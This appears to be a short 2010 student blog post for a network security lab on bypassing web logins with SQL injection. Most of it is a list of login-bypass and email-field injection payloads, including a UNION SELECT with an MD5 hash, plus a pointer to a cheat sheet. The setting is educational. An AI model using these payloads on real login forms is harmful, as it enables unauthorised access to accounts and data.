SQL Injection (Lab 8 Network Security)

In this lab, you have to bypass web login authentication process by using SQL injection. And, you need to list down 10 SQL injection codes.

*****************************************

 

SQL Injection 101, Login tricks

• admin’ —
  
• admin’ #
  
• admin’/*
  
• ‘ or 1=1–
  
• ‘ or 1=1#
  
• ‘ or 1=1/*
  
• ‘) or ‘1’=’1–
  
• ‘) or (‘1’=’1–
  
• Username : admin Password : 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055

 

For email injection:

1. x’ AND email IS NULL; —
2. x’ AND userid IS NULL; —
3. x’ OR full_name LIKE ‘%Bob%

 

Since our campus websense block certain SQL injection tutorial, here is the offline copy.

1. SQL Injection Attacks by Example.pdf
2. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#ByPassingLoginScreens

2010

03/11

CATEGORY

Network Security

Write comment